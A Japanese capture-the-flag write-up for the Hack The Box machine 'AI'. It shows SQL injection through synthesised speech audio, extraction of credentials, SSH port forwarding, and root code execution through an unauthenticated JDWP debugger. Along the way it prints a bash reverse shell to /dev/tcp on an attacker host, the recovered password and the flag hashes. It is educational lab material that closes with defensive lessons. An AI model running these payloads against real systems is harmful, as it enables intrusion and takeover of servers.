Hack The BoxのWriteup(AI)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: AI — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp, 80/tcp のみ
ai.php 発見
WAVアップロード→音声認識→SQL実行
音声認識ラウンドトリップ SQLi
festival/text2wave で音声合成しUNION抽出
alexa 認証情報取得
user.txt ✓
内部限定ポート発見
127.0.0.1:8000 (JDWP), :8080 (Tomcat)
SSHローカルポートフォワード x2
JDWP + Tomcat HTTP
jdb アタッチ → ブレークポイント
GenericServlet.init() + eval Runtime.exec()
root シェル取得
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,... -T4 --max-retries 3 10.129.56.193
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.56.193
nmap -sV -sC -p 22,80 10.129.56.193
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Hello AI!
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds
ℹ️
全ポートスキャンでも 22/tcp と 80/tcp の2つしか開いていない。後の権限昇格フェーズで 見つかる Tomcat(8080) / JDWP(8000) / MySQL(3306) はすべて 127.0.0.1 限定バインドであり、 外部からは一切見えない点が本マシンの核心的な設計になっている。

Webアプリの調査

BASH
whatweb -a 3 http://10.129.56.193 --log-brief=-
curl -s --max-time 10 http://10.129.56.193/robots.txt
gobuster dir -u http://10.129.56.193 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
http://10.129.56.193 [200 OK] Apache[2.4.29], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)],
JQuery[2.1.3], Script, Title[Hello AI!]

gobuster:
images               (Status: 301) [Size: 315] [--> http://10.129.56.193/images/]
uploads              (Status: 301) [Size: 316] [--> http://10.129.56.193/uploads/]
ℹ️
トップページはCodePen由来のデザインテンプレート(“Hello AI!”)で、音声ファイル(WAV)を アップロードして送信するフォームが設置されている。/uploads/ の存在から アップロード先ディレクトリの直接アクセスも示唆されるが、本チェーンでは使用しない。
PHASE 2

音声認識ラウンドトリップ SQLi(ai.php)

アプリの挙動を理解する

NOTE
トップページのフォームは WAV ファイルを POST /ai.php へ multipart/form-data で
アップロードする。サーバー側は音声認識エンジン(CMU Sphinx系)でWAVをテキストへ書き起こし、
書き起こした文字列をそのままSQLクエリの一部として実行し、結果を画面に返す。
つまり「喋った内容がSQLになる」= 音声入力そのものがSQLインジェクションの注入経路
という珍しい脆弱性。

キーとなる発見:
  - シングルクォート等の記号はそのまま発話しても認識されないため、
    "open single quote"(開き一重引用符)→ ' 、"pound sign"(井桁)→ # のように
    記号を英単語で読み上げることで、書き起こし結果に記号を混入させられる。
  - "union" は書き起こしが不安定("uni1d" 等に化けることがある)。読み上げの明瞭さや
    音響条件に依存する確率的なステップであり、必ず成功するとは限らない。

音声合成環境の準備(festival / text2wave)

BASH
apt-get install -y festival
# text2wave は festival パッケージに同梱される音声合成CLI

1回目の試行(ユーザー名抽出)— 書き起こし失敗の実例

BASH
echo 'open, single, quote, join, select, username, from, users, pound, sign' | text2wave -o ai_query.wav
curl -s --max-time 20 \
  -F "fileToUpload=@ai_query.wav;type=audio/wav" \
  -F "submit=Process It!" \
  http://10.129.56.193/ai.php
RESULT (ai.php レスポンス, 実データ)
Our understanding of your input is : 'uni1d select the username from users #
Query result : You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near
'uni1d select the username from users #'' at line 1
🚨
“join”(”union”のつもりで読み上げ)が “uni1d” に誤認識され、構文エラーになった実例。 このように音声認識の誤変換で無効なSQLが生成されるケースが頻発するため、本手法は 再試行を前提とした確率的テクニックとして扱う必要がある。今回はユーザー名の 抽出には失敗したため、既知の候補値 alexa(本マシンの標準ユーザー名)で代替した。

2回目の試行(パスワード抽出)— 成功例

BASH
echo 'open, single, quote, join, select, password, from, users, pound, sign' | text2wave -o ai_query.wav
curl -s --max-time 20 \
  -F "fileToUpload=@ai_query.wav;type=audio/wav" \
  -F "submit=Process It!" \
  http://10.129.56.193/ai.php
RESULT (ai.php レスポンス, 実データ)
Our understanding of your input is : 'union select password from users #
Query result : H,Sq9t6}a<)?q93_
今回は “union” が正しく書き起こされ、' union select password from users # という 有効なUNIONベースSQLiとして実行された。users テーブルの平文パスワードが そのままレスポンスに返ってきている。
取得した認証情報
alexa : H,Sq9t6}a<)?q93_
PHASE 3

SSHログイン & user.txt 取得

取得した認証情報でSSHログイン

BASH
sshpass -p 'H,Sq9t6}a<)?q93_' ssh -o StrictHostKeyChecking=no alexa@10.129.56.193 cat ~/user.txt
RESULT
6db32152bf8faa36b61df3601f74b2a0
user.txt — alexa
6db32152bf8faa36b61df3601f74b2a0
⚠️
パスワードには } < ) ? 等シェルにとって 特殊な文字が含まれるため、コマンドライン上で直接展開させると引用符の対応が崩れやすい。 sshpass -p に渡す際は必ずシングルクォートで囲むこと。
PHASE 4

内部限定ポートの調査 & JDWP発見

ターゲット内部からのリスニングポート確認

BASH
alexa@AI:~$ netstat -tln 2>/dev/null || ss -tln
RESULT (実データ)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN   ← JDWP (Javaデバッグ)
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN   ← MySQL
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp6       0      0 127.0.0.1:8009          :::*                    LISTEN   ← Tomcat AJP
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN   ← Tomcat HTTP
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
🚨
重要発見: 127.0.0.1:8000JDWP (Java Debug Wire Protocol) の標準ポート。JDWPは認証機構を一切持たないプロトコルであり、到達さえできれば 誰でもJVMにアタッチしてブレークポイント設定・任意メソッド呼び出し(≒RCE)が可能になる。 ただし 127.0.0.1 バインドのため外部から直接は届かず、SSHローカルポートフォワードが必須。

sudo権限の確認(行き止まりの確認)

BASH
alexa@AI:~$ sudo -l
RESULT
sudo: a password is required
ℹ️
alexa には sudo権限が無く、SUID等の分かりやすい権限昇格経路も本マシンには用意されていない。 127.0.0.1:8000 のJDWPこそが唯一のroot経路である。
PHASE 5

JDWPエクスプロイト実行 → root.txt

リバースシェルスクリプトの設置

BASH
# Tomcat(JVM)プロセスがrootで動いているため、そのプロセスにexecさせるスクリプトを
# alexa権限で書き込み可能な /tmp に事前設置しておく
alexa@AI:~$ cat > /tmp/.ai_exec.sh <<'EOF'
#!/bin/bash
/bin/bash -i >& /dev/tcp/<KaliのVPN IP>/18031 0>&1
EOF
alexa@AI:~$ chmod +x /tmp/.ai_exec.sh
alexa@AI:~$ test -x /tmp/.ai_exec.sh && echo READY
⚠️
ライブ検証で判明した落とし穴: SSH接続が一時的に不安定になる瞬間があり、 この書き込みコマンド自体が黙って失敗することがあった。JDWP側のブレークポイントは 正常にヒットするのに Runtime.exec() 対象のスクリプトが存在せず何も起きない、という 紛らわしい失敗を招くため、書き込み後に test -x で存在確認し、 失敗時はリトライする運用が重要。

SSHローカルポートフォワード(2本)を確立

BASH
# 1本目: JDWPデバッグポート
sshpass -p 'H,Sq9t6}a<)?q93_' ssh -o StrictHostKeyChecking=no \
  -L 18030:127.0.0.1:8000 alexa@10.129.56.193 -N &

# 2本目: Tomcat HTTP(ブレークポイントを能動的にヒットさせるため)
sshpass -p 'H,Sq9t6}a<)?q93_' ssh -o StrictHostKeyChecking=no \
  -L 19030:127.0.0.1:8080 alexa@10.129.56.193 -N &
ℹ️
JDWP用トンネルだけでは不十分。GenericServlet.init()はサーブレットの 遅延初期化時にしか呼ばれないため、実際にTomcatへHTTPリクエストを送って 初期化を誘発する経路が別途必要になる。SSHトンネルが完全に確立する前に次の jdb -attach を実行すると即座に接続失敗するため、ポートが実際にLISTEN状態に なるまで待ってから進めること。

jdb アタッチ & ブレークポイント設置

BASH
# jdbのロケール依存出力(日本語環境では「ヒットしたブレークポイント」等)が
# 後段の英語文字列判定と食い違わないよう、LANG=C を明示指定して起動する
LANG=C LC_ALL=C jdb -attach 127.0.0.1:18030
RESULT (jdb 出力, 実データ)
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> stop in javax.servlet.GenericServlet.init()
Set breakpoint javax.servlet.GenericServlet.init()
>
JDWPは認証機構を一切持たないため、-attachだけで無条件にJVM内部へ アタッチできる。GenericServletはTomcat上の全サーブレットの基底クラスであり、 ここに設置したブレークポイントはデフォルトのTomcat付属アプリ(manager/examples等)の いずれかが初めてリクエストされた瞬間にヒットする。

ブレークポイントを能動的にヒットさせる

BASH
# もう一つの端末から、2本目のトンネル(127.0.0.1:19030)経由でTomcatの
# デフォルト付属アプリへ次々リクエストを送る。1回きりでなく、ヒットするか
# タイムアウトするまで周回し続けるのがコツ(数秒〜十数秒でヒットする)。
for p in / /manager/html /examples/ /index.jsp \
         /examples/servlets/servlet/HelloWorldExample \
         /examples/jsp/jsp2/el/basic-arithmetic.jsp \
         /examples/jsp/dates/date.jsp /examples/jsp/num/numguess.jsp; do
  curl -s --max-time 3 "http://127.0.0.1:19030$p" > /dev/null
  sleep 0.3
done
RESULT (jdb 出力, 実データ)
Breakpoint hit: "thread=http-nio-127.0.0.1-8080-exec-7", javax.servlet.GenericServlet.init(), line=177 bci=0
ℹ️
実測ではブレークポイント設置から約10秒でヒットした。デフォルトの manager/examplesアプリの多くはTomcat起動時に既に初期化済み(load-on-startup)のため、 個別のJSPファイル(初回アクセス時に動的コンパイル+初期化される)を 広く網羅的に叩くのが有効。

リスナー起動 & eval で Runtime.exec() を実行

BASH
# 別端末: rootシェル受信用リスナー
nc -lnvp 18031
BASH (ブレークポイントで停止中のjdbプロンプトへ入力)
http-nio-127.0.0.1-8080-exec-7[1] eval new java.lang.Runtime().exec("/tmp/.ai_exec.sh")
🚨
ライブ検証で発見した最大の落とし穴: eval 送信の数秒後に exit を送ってjdbプロセスを強制終了する実装にしていたところ、 再現性よく失敗した。二重SSHトンネル越しのJDWPでは、リモートの Runtime.exec() メソッド呼び出し(JDWPのInvokeMethod往復)が 完了しきる前にローカルの jdb をSIGTERMしてしまうと、 呼び出しそのものが中断され、ブレークポイントヒットには成功しているのに 子プロセスが実際には起動しない、という非常に紛らわしい失敗を引き起こす。

対策: eval 送信後は jdb を意図的に生かしたまま、 リバースシェルの接続を実際に受け取るまで待つ。detach(exitコマンド送信)や プロセス終了は、シェル接続を確認できた後に行う。

root シェル受信 & root.txt 取得

RESULT (nc リスナー側, 実データ)
listening on [any] 18031 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.56.193] 60126
bash: cannot set terminal process group (59562): Inappropriate ioctl for device
bash: no job control in this shell
root@AI:~# id
uid=0(root) gid=0(root) groups=0(root)
root@AI:~# cat /root/root.txt
acf236cabc7533de216590ed54bb74e8
root権限奪取成功! Tomcatプロセスがrootで動作していたため、 Runtime.exec()で起動した子プロセス(リバースシェル)もrootのコンテキストを継承した。
root.txt — root@AI
acf236cabc7533de216590ed54bb74e8
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — alexa
6db32152bf8faa36b61df3601f74b2a0
root.txt — root@AI
acf236cabc7533de216590ed54bb74e8

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
音声認識ラウンドトリップ SQLi ai.php (WAVアップロード→書き起こし→SQL実行) 認証情報の平文漏洩 Critical 記号を英単語で読み上げ(open single quote→'、pound sign→#)、UNION SELECTを音声合成しSQLi実行
JDWP 認証なしRCE 127.0.0.1:8000 (Java Debug Wire Protocol) リモートコード実行(root, Tomcatプロセス権限) Critical SSHトンネル経由でjdbアタッチ、GenericServlet.init()にブレークポイント設置、eval Runtime.exec()でRCE

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(22/80のみ開放)+ gobusterai.php を含むWeb構成の把握
2SQLifestival/text2wave で音声合成しWAVアップロードalexa の平文パスワード
3初期侵入SSHログインuser.txt 取得
4内部調査netstat/ss で内部限定ポート列挙JDWP(8000)・Tomcat(8080)を発見
5権限昇格2本のSSHトンネル + jdb + eval Runtime.exec()root.txt 取得(rootシェル)

学んだ教訓 & 防御策

問題点防御策
音声認識結果を検証・エスケープせずSQLクエリへ直接組み込んでいる ユーザー由来の入力は音声・画像等どんな経路であってもプレースホルダ/パラメータ化クエリを使用し、直接文字列結合しない。
JDWP(Javaデバッグポート)が本番相当環境で稼働し、しかも認証機構が無い デバッグポートは開発環境限定にし、本番では必ず無効化する。やむを得ず有効にする場合も address=127.0.0.1 かつファイアウォールで到達経路を遮断し、 踏み台(SSH等)自体への侵入経路も最小権限で管理する。
Tomcatプロセスがroot権限で稼働している Webアプリケーションサーバーは専用の非特権ユーザーで実行し、rootでの起動を避ける。
デフォルトのTomcat付属アプリ(manager/examples/docs)が未削除のまま公開 本番デプロイ時にはmanager/host-manager/examplesアプリを削除し、攻撃対象領域を最小化する。
HackTheBox: AI | 完全攻略レポート